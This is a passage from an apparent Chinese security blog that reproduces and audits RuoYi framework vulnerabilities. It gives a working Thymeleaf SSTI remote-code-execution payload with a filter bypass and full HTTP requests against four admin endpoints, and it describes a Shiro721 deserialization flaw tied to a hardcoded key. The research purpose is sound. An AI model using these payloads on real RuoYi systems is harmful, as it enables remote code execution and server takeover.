该漏洞截至目前仍未修改,所以仍在可利用,但是路径问题缺失是一个大问题;

这里放两篇文章吧(ps:写得挺累的啦,不想写了)

【安全研究】若依4.8.0版本计划任务RCE研究

若依Ruoyi-4.8.0后台RCE(复现)

5 SSTI模版注入 RCE

5.1 注入接口/monitor/cache/getNames(V4.6.1<Version<V4.7.2)

漏洞复现

1
2
3
4
// payload(空格绕过检查)
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
// URL编码
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/cache/getNames HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/monitor/cache
Cookie: JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380

fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d

漏洞分析

详细的Thymeleaf 模版注入原理参考文章 https://blog.csdn.net/weixin_43263451/article/details/126543803

这里简单分析一下漏洞点,通过pom.xml文件分析可以看出若依采用了thymeleaf 模板,后续如果控制器返回视图则采用 thymeleaf 模板进行解析;

1
2
3
4
5
<!-- SpringBoot集成thymeleaf模板 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

可以看到在/monitor/cache/getName接口的处理中返回视图,且fragment是通过参数传入的内容,因此可实现 thymeleaf 模板注入;

1
2
3
4
5
6
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}

由于 thymeleaf 本身存在检查参数值中是否使用了”T(SomeClass)“或者”new SomeClass”

1
${T(java.lang.Runtime).exec('calc')}

3.x 版本后的thymeleaf 的 bypass 方法:https://www.qwesec.com/2025/02/thymeleafSSTI.html

5.2 注入接口/monitor/cache/getKeys(V4.6.1<Version<V4.7.2)

漏洞复现

随便设置一个cacheName的值,然后修改fragment的内容为 payload 的 URL 编码即可;

1
2
3
4
// payload(空格绕过检查)
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
// URL编码
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/cache/getKeys HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 183
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/monitor/cache
Cookie: JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380

cacheName=1&fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d

漏洞分析

参见 5.1 小节的漏洞分析,内容基本一致

5.3 注入接口/monitor/cache/getValue(V4.6.1<Version<V4.7.2)

漏洞复现

payload 如/monitor/cache/getKeys接口,修改其数据包的接口为/monitor/cache/getValue即可;

1
2
3
4
// payload(空格绕过检查)
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
// URL编码
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /monitor/cache/getValue HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 183
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/monitor/cache
Cookie: JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380

cacheName=1&fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d

漏洞分析

参见 5.1 小节的漏洞分析,内容基本一致

5.4 注入接口/demo/form/localrefresh/task(V4.6.1<Version<V4.7.2)

漏洞复现

1
2
3
4
// payload(空格绕过检查)
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
// URL编码
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /demo/form/localrefresh/task HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://192.168.1.9
Connection: keep-alive
Referer: http://192.168.1.9/monitor/cache
Cookie: JSESSIONID=aa74c322-b8a5-46a4-81d1-66dcf34f5380

fragment=%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%2e%65%78%65%22%29%7d

漏洞分析

参见 5.1 小节的漏洞分析,内容基本一致

6 Shiro721 反序列化 RCE(<V4.6.2)

漏洞复现

本次复现该实验的环境为 jdk1.8.0_461 + ruoyi V4.6.0;

这里需要注意,如果使用的不是 jdk8(例如 jdk17 等) 进行搭建的环境是无法复现该实验的,这是由于 jdk8 以上的版本的反射受到了限制,从而导致无法发现有效的利用链及其回显方式;

漏洞分析

在文件RuoYi-4.6.0\ruoyi-admin\src\main\resources\application.yml中可以找到 Shiro 中设置的固定加密密钥zSyK5Kp6PZAAjlT+eeNMlg==

详细的漏洞原理请查找相关的 shiro721 的漏洞分析文章;

参考链接

  1. https://www.cnblogs.com/backlion/p/18896463
  2. https://wsyu9a.github.io/blog/2024/03/17/240317%E8%8B%A5%E4%BE%9D%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1%E5%88%86%E6%9E%90/
  3. https://blog.takake.com/posts/7219/
  4. https://forum.butian.net/share/4328
  5. https://www.freebuf.com/articles/web/417704.html
  6. https://xz.aliyun.com/news/10405
  7. https://github.com/phith0n/tls_proxy
  8. https://cn-sec.com/archives/4194322.html
  9. https://blog.csdn.net/weixin_43263451/article/details/126543803
  10. https://www.qwesec.com/2025/02/thymeleafSSTI.html
  11. https://www.dalon.top/archives/ruo-yi-ruoyi-4.8.0hou-tai-rce-fu-xian
  12. https://mp.weixin.qq.com/s?__biz=MzkyNTYxNDAwNQ==&mid=2247484714&idx=1&sn=19e40a91e637794253c8691d7ffe40c6&poc_token=HJFNoGij9wzHj2_xpMBIdF0PXd1BqOcZoDkY3gFO

若依框架全系列漏洞复现与代码审计
http://candyb0x.github.io/2025/08/16/若依框架代码审计之全系列漏洞复现/
作者
Candy
发布于
2025年8月16日
更新于
2025年8月16日
许可协议